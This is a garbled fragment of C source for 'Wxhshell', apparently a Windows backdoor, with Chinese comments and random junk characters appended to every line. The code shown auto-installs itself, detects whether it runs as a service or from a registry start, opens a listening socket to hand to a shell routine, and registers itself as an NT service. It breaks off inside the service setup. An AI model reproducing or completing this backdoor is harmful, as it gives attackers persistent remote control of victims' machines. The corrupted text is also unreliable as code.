} PROCESS_BASIC_INFORMATION; qaGIU`}:$A
yxQAO_C
PROCNTQSIP NtQueryInformationProcess; yZ)ScB^
s*#|EdD6@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IA!ixabG
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !`#9#T|
J2[QHr&tn
HANDLE hProcess; qP<,"9!I
PROCESS_BASIC_INFORMATION pbi; \M532_w
}w]xC
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +`Bn]e8O
if(NULL == hInst ) return 0; n_ez6{
GRV9s9^
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j1iC1=`ZM
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a@r K%Iff
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /tv;W
80]TKf>
if (!NtQueryInformationProcess) return 0; ];2eIe
h+^T);h};|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n0i&P9@B1
if(!hProcess) return 0; FfgJ
2y
a!^wc,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A07P$3>/W
CC-:dNb
CloseHandle(hProcess); gX _BJ6
y?@Y\ b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aC$g(>xFt
if(hProcess==NULL) return 0; B+DRe 8
\j;uN#)28
HMODULE hMod; CGe'z
char procName[255]; lM1!2d'P
unsigned long cbNeeded; i
}gxq
o%QQ7S3P
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HgBg,1
9f6TFdUi"y
CloseHandle(hProcess); 4F4u1r+
Y#Vy:x[
if(strstr(procName,"services")) return 1; // 以服务启动 G\p;
bUF
CzEn_ZMb
return 0; // 注册表启动 Mqtp}<*@-
} +r!h* 4
?W|IC8~d')
// 主模块 MH Yf8HN
int StartWxhshell(LPSTR lpCmdLine) 2*L/c-
{ fBOPd=
SOCKET wsl; ge oN4
BOOL val=TRUE; 6qJB"_.
int port=0; ) IhY&?jk?
struct sockaddr_in door; GDB>!ukg
U44H/5/
if(wscfg.ws_autoins) Install(); +=k|(8Js#
l.W:6",w
port=atoi(lpCmdLine); F`Y<(]+
Yc V~S#b
if(port<=0) port=wscfg.ws_port; 7 f*_
e`Yns$x
WSADATA data; qU
n>
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ">9CN$]J
y4L9Cxvs
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; NFc8"7Mz}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a!K;8#xc
door.sin_family = AF_INET; \-0` %k"&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); rw2|1_AF
door.sin_port = htons(port); DS2$ w9!
L>b,}w
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "y0A<-~
closesocket(wsl); 9.=#4OH/
return 1; 8W>l(w9M
} dSZ#,Ea"
5w1[KO#K|
if(listen(wsl,2) == INVALID_SOCKET) { X8x>oV;8
closesocket(wsl); 7$=@q|$
return 1; +3>4 ?,^g
} xH[yIfHkG@
Wxhshell(wsl); e"6i>w!
WSACleanup(); 3T/j5m}+!
(F YJ^o
return 0; <Y2!c,"
fLoVcl
} ] O>7x
A%2}?Ds
// 以NT服务方式启动 Z5[:Zf?h7J
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sK?-@
{ j2M(W/_
DWORD status = 0; rtx]dc1m
DWORD specificError = 0xfffffff; 6w;|-/:`
)x &@j4,
serviceStatus.dwServiceType = SERVICE_WIN32; hFfaaB
serviceStatus.dwCurrentState = SERVICE_START_PENDING; !VZj!\I
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >pvg0Fh
serviceStatus.dwWin32ExitCode = 0; >NA7,Z2.
serviceStatus.dwServiceSpecificExitCode = 0; [1^wy#
serviceStatus.dwCheckPoint = 0; yo,!u\^x
serviceStatus.dwWaitHint = 0; r&sOM_BUF
p&mtKLv
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G9inNz*Cx
if (hServiceStatusHandle==0) return; np^<HfYV
p'k+0=
status = GetLastError(); 7~nCK
if (status!=NO_ERROR) E0]h|/A]
{ 34kd|!e,
serviceStatus.dwCurrentState = SERVICE_STOPPED; SYPMoE!U:
serviceStatus.dwCheckPoint = 0; l|em E
^
serviceStatus.dwWaitHint = 0; \q'fB?bS^
serviceStatus.dwWin32ExitCode = status; )N6[rw<